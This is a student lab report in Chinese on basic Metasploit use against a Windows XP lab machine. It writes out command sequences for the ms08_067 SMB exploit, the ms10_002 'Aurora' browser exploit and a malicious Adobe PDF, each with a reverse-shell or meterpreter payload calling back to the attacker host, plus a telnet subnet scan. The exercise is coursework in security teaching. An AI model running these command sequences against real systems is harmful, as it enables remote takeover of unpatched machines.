Exp5 MSF基础应用 20164314

一、实践内容

本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：

1.一个主动攻击实践，如ms08_067; （成功）

2.一个针对浏览器的攻击，如ms11_050；（成功）

3. 一个针对客户端的攻击，如Adobe；（成功）

4.成功应用任何一个辅助模块。（成功且唯一）

二、实践过程

准备工作：首先先确定Linux和XP的IP

Linux：222.28.133.16

XP：222.28.133.242

1.实现主动攻击，这里使用的是ms08_067漏洞

（1）首先进入msf平台，查找这个漏洞，可以看到他的具体目录来进行使用

（2）输入指令 use exploit/windows/smb/ms08_067_netapi，然后使用 show payloads 查看可以使用的payload，选择一个use后，可以通过 show options 查看需要设置的具体参数

（3）配置参数

输入指令 set payload generic/shell_reverse_tcp

设置攻击机ip set LHOST 222.28.133.16

设置攻击端口 set LPORT 4314

设置靶机ip set RHOST 222.28.133.242

设置自动选择目标系统类型 set target 0

（4）设置完成后就可以执行了，可以看到，已经获得了xp的权限

2.实现针对浏览器的攻击，这里使用的是ms10_002漏洞

（1）查找这个漏洞，查看他的具体目录，使用后查看可以使用的payload

（2）使用指令 use exploit/windows/browser/ms10_002_aurora

　　选择一个payload set payloads windows/meterpreter/reverse_http

设置相关参数，

set lhost 222.28.133.16攻击方IP；

　　 set lport 攻击方端口；

set target

set uripath gly 资源标识符路径设置；

（3） exploit 后，可以看到生成了一个URL，但是这里显示的 0.0.0.0 实际是本机ip，所以应该使用的是 Local IP 作为攻击的链接

（4）在xp系统里访问链接 http://222.28.133.16:8080/gly ，可以看到，kali获取了xp的权限

3.实现针对客户端的攻击

（1）输入指令 use windows/fileformat/adobe_cooltype_sing

（2）配置渗透攻击所需的配置项：

　　设置载荷： set payload windows/meterpreter/reverse_tcp

　　设置攻击机IP： set LHOST 222.28.133.16

　　设置端口： set LPORT 4314

　　设置产生的文件： set FILENAME 4314.pdf

　　设置完成后键入 exploit

（3）根据路径找到该pdf文件放到靶机里。

根据路径发现找不到对应的文件，因为目录是 .的，是一个隐藏目录，所以我们要设置查看隐藏文件后，找到具体文件

（4）使用命令 back 退出当前模块，启动一个对应于载荷的监听端，等待靶机回连

输入：

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 222.28.133.16

set lport

（5）在靶机中打开该pdf，回连成功

4.应用scanner辅助模块（唯一）

（1）先 search scanner 查看可以使用的具体模块

（2）选择一个 telnet_version模块使用

（telnet_version辅助模块将扫描子网和指纹识别正在运行的任何远程登录服务器）

输入指令 use auxiliary/scanner/telnet/telnet_version

输入指令 show options ，查看需要设置的具体参数；

（3）参数配置

输入以下指令，

set RHOSTS 222.28.133.0/24
set RPORT 4314
set THREADS

（4）运行以后，得到以下结果，

三、基础问题回答

用自己的话解释什么是exploit,payload,encode.

我认为exploit就是执行、开采，利用漏洞对靶机进行相应的攻击；payload就是漏洞攻击的有效载荷，是漏洞攻击的手段，是漏洞攻击成功必要的载体；encode就是编码器，就是对攻击进行伪装。

四、实验总结与体会

通过这次实验，我们见识到了msf平台的厉害，不仅可以利用多种辅助模块获取靶机信息，还能够查看大部分存在的漏洞并利用这些漏洞实现不同攻击，这里面，直接实现主动攻击是最恐怖的，只要系统存在这个漏洞，就会被直接攻破，看来，实时更新系统是很有必要的。